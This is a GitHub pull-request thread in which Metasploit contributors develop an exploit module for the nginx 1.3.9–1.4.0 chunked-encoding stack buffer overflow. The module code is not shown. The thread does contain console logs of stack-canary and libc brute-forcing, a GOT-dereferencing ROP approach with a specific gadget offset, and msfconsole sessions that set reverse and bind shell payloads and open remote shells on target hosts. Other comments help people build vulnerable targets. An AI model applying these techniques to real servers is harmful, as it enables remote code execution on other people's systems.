Exploit module for nginx chunked stack buffer overflow. #1834

Closed
wants to merge 16 commits into from

6 participants

@linuxgeek247

This is an exploit module for the chunked encoding stack buffer overflow vulnerability in nginx 1.3.9 and 1.4.0. It also includes a ropdb xml file for the exploit with targets for Kali 1.0 (my dev environment) and RHEL 6.4 using the installed libc for both targets.

@saelo

Hi,
I was playing around with that vuln, too. On my Systems (Ubuntu 13.04 and Debian 7) I also need to bypass stack protection (I compiled from source, but all packages I got from repos had stack protection enabled as well), your exploit doesn't seem to do this yet. Also versions 1.3.10-16 are vulnerable, too. Maybe we could work on this together, add more targets and see if we can bypass stack protection?

@linuxgeek247

I'd definitely be willing to give it a go. I actually started looking at Ubuntu 12.04 LTS after sending this request and noticed the same thing. I'll try to take more of a look at it this weekend unless someone has already found a solution.

@linuxgeek247

Running against a fully updated Ubuntu 13.04 against 1.4.0 compiled from source:
[] Searching for stack canary
[
] Bruteforcing byte 1
[*] Byte 1 found: 0x79

[] Bruteforcing byte 2
[
] Byte 2 found: 0x27

[] Bruteforcing byte 3
[
] Byte 3 found: 0xde

[*] Canary found: 0xde277900

[] Sending 2048 byte payload at base 0xb7470000
[
] Sending 2048 byte payload at base 0xb7471000
[] Sending 2048 byte payload at base 0xb7472000
[
] Sending 2048 byte payload at base 0xb7473000
[] Sending 2048 byte payload at base 0xb7474000
[
] Sending 2048 byte payload at base 0xb7475000
[] Sending 2048 byte payload at base 0xb7476000
[
] Sending 2048 byte payload at base 0xb7477000
[] Sending 2048 byte payload at base 0xb7478000
[
] Sending 2048 byte payload at base 0xb7479000
[] Sending 2048 byte payload at base 0xb747a000
[
] Sending 2048 byte payload at base 0xb747b000
[] Sending 2048 byte payload at base 0xb747c000
[
] Sending 2048 byte payload at base 0xb747d000
[] Sending 2048 byte payload at base 0xb747e000
[
] Sending 2048 byte payload at base 0xb747f000
[] Sending 2048 byte payload at base 0xb7480000
[
] Sending 2048 byte payload at base 0xb7481000
[] Sending 2048 byte payload at base 0xb7482000
[
] Sending 2048 byte payload at base 0xb7483000
[] Sending 2048 byte payload at base 0xb7484000
[
] Sending 2048 byte payload at base 0xb7485000
[] Sending 2048 byte payload at base 0xb7486000
[
] Sending 2048 byte payload at base 0xb7487000
[] Sending 2048 byte payload at base 0xb7488000
[
] Sending 2048 byte payload at base 0xb7489000
[] Sending 2048 byte payload at base 0xb748a000
[
] Sending 2048 byte payload at base 0xb748b000
[] Sending 2048 byte payload at base 0xb748c000
[
] Sending 2048 byte payload at base 0xb748d000
[] Sending 2048 byte payload at base 0xb748e000
[
] Sending 2048 byte payload at base 0xb748f000
[] Sending 2048 byte payload at base 0xb7490000
[
] Sending 2048 byte payload at base 0xb7491000
[] Sending 2048 byte payload at base 0xb7492000
[
] Sending 2048 byte payload at base 0xb7493000
[] Sending 2048 byte payload at base 0xb7494000
[
] Sending 2048 byte payload at base 0xb7495000
[] Sending stage (36 bytes) to 192.168.1.19
[
] Command shell session 11 opened (192.168.1.114:5353 -> 192.168.1.19:42020) at 2013-05-16 23:20:08 -0400
ps
PID TTY TIME CMD
12769 ? 00:00:00 sh
12770 ? 00:00:00 ps

@linuxgeek247

Normally I do, but currently that causes it to fail. I figured I would get it up here and then deal with that later. As far as detection, most devices are going to alert on the screwed up chunk size.

@jvazquez-r7

Hi @saelo and @linuxgeek247 . It s an awesome contribution! Thank you very much! I couldn't resist to join this collaboration effort if you don't mind :$

Tried a GOT dereferencing attack in order to avoid the libc brute forcing attack. Since nginx compiles with NO PIE by default looks like a good approach in order to avoid the brute force attack.

I've implemented it for nginx 1.4.0 compiled (default options) on Debian Squeeze. It's available on this branch so you can give it a look and share your opinion:

https://github.com/jvazquez-r7/metasploit-framework/commits/nginx_got_dereferencing

The commit for my mod module is also here:

jvazquez-r7@811ed7f

The module working:


msf exploit(nginx_chunked_size_no_brute) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(nginx_chunked_size_no_brute) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...

[-] Exploit failed: No NOP generators succeeded.
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...

[*] 192.168.172.200:80 - Sending 523 byte payload
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1tNBEwk5zjp3wvoy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1tNBEwk5zjp3wvoy\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.200:53788) at 2013-05-21 20:14:44 -0500

id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

What do you think? I must to admit in my opinion the exploit is more reliable using the GOT dereference over the brute force attack. So if you agree we could migrate the current module to use this technique. Or maybe mix targets and allow both GOT dereferencing and brute force attack :)

Again, thanks very much for the effort! It's kinda awesome.

@linuxgeek247

It's definitely much faster. I never actually thought to do that but it makes sense. The only thing I'm fuzzy on is the purpose of using the offset between localtime_r to system. What's the purpose of that versus just using the system got address? Thanks very much. This should simplify things greatly.

@linuxgeek247

Scratch that. I see what you are doing. I just couldn't figure out what the point of the 0x5d5b14c4 was for.

@jvazquez-r7

@linuxgeek247 there isn't system in the nginx GOT, because of that we're using the localtime_r one and calculating the system address having into account the libc offset.

The 0x5d5b14c4 offset is because of the "add eax, [ebx+0x5d5b14c4] # ret" gadget. This gadget allows to get on eax the system address if you previously have the localtime_r address (you can get it from the nginx got) and the offset (it's libc specific, so target specific, not a big deal because the curent exploit is also target specific when leaking the libc address) :)

I'm going to work on this today, would like to merge both approaches, brute forcing targets and got dereferencing targets, and land one first version into the framework! :)

Seriously, kinda awesome work guys! :)

@linuxgeek247

I'm actually migrating your got approach for Ubuntu right now. The only difference is the canary bruteforce. Just finishing up the store function now. Would it be better to create rop xml files for this or just store them in the target hash since they are so much smaller?

@jvazquez-r7

Hi @linuxgeek247 I think storing them in the target hash would be better in this case :) Oka, I wait to your new version and then will work on cleaning it if necessary before merging! thanks @linuxgeek247 !!! Kinda hard work! Just ping me if you need help while coding it. Also, I'm available at freenode, metasploit channel, in case you would like to discuss any detail!

@jvazquez-r7

Or better, ad a function for generating the rop for every target, and in the target hash meta information, just keep a callback to the correct function to call when generating the rop :). Since ROP chains for these approachs are smaller I feel comfortable adding them in the code.

@linuxgeek247

I've got everything updated now. I've removed RHEL and Cali for now. I'm going to close this pull request and open a clean request.

@jvazquez-r7

Sounds good, can't wait to look into it and hopefully merge :)

@danghvu

I believe there is an execve in nginx, can't you use it directly instead of a calculated system ?

@jvazquez-r7

Not directly I guess but opens the door to a possible ROP shellcode :)

@niubl

i compile nginx 1.4.0 on kaili 1.0 and ubuntu 12.04,then i test this exp,but it does not work. who guys can tell how to make a vulnerable evironment? my email:448354223@qq.com . think you very much.

@saelo

currently available targets are debian squeeze and ubuntu 13.04 (both 32bit), can you try one of those and see if it works for you?

@niubl

@saelo i test ubuntu 13.04 today,but i failt to exploit by use nginx 1.4.0.is there some other config needed to do during compile nginx?

@saelo

@niubl Ok, interesting. You compiled the version from their mercurial repository? The ROP gadgets in the current exploit didn't work for me either (apparently for the others though), can you check if my version works for you? You can find it here: saelo/metasploit-framework@b060612
Just download the new file and replace it in your copy of msf. If that still does not work you can send me a copy of your nginx executable (objs/nginx) so I can take a look at it.

@niubl

@saelo this my steps:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
msf exploit(nginx_chunked_size) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf exploit(nginx_chunked_size) > show options

Module options (exploit/linux/http/nginx_chunked_size):

Name Current Setting Required Description


RHOST 10.1.11.3 yes The target address
RPORT 80 yes The remote HTTP server port

Payload options (generic/shell_bind_tcp):

Name Current Setting Required Description


LPORT 9999 yes The listen port
RHOST 10.1.11.3 no The target address

Exploit target:

Id Name


0 Ubuntu 13.04 32bit - nginx 1.4.0

msf exploit(nginx_chunked_size) > exploit

[] Started bind handler
[
] 10.1.11.3:80 - Searching for stack canary
[] 10.1.11.3:80 - Assuming byte 0 0x00
[
] 10.1.11.3:80 - Bruteforcing byte 1
[+] 10.1.11.3:80 - Byte 1 found: 0x3c
[] 10.1.11.3:80 - Bruteforcing byte 2
[+] 10.1.11.3:80 - Byte 2 found: 0x3a
[
] 10.1.11.3:80 - Bruteforcing byte 3
[+] 10.1.11.3:80 - Byte 3 found: 0xb5
[+] 10.1.11.3:80 - Canary found: 0xb53a3c00

msf exploit(nginx_chunked_size) > sessions

Active sessions

No active sessions.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
can you give you email? i will send you my nginx source whick i tested.

@saelo

You can find me in the metasploit IRC channel (with this nick), lets talk there :)

@inode-

I'm getting the sames problems as niubl, downloaded and installed version 1.4.0, tryed to exploit but failt with official module and saelo one (working on ubuntu 13.04 32bit). Any compiler options needed?

@saelo

@inode- can you meet me in IRC, too? No special compiler options should be needed.

@inode-

@saelo I'm in, nickname odfijoisjsodifjs

@saelo

General Announcement

If you are having trouble getting the exploit to work please make sure you compile with support for pcre and zlib by installing libpcre++-dev and zlib1g-dev in ubuntu :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment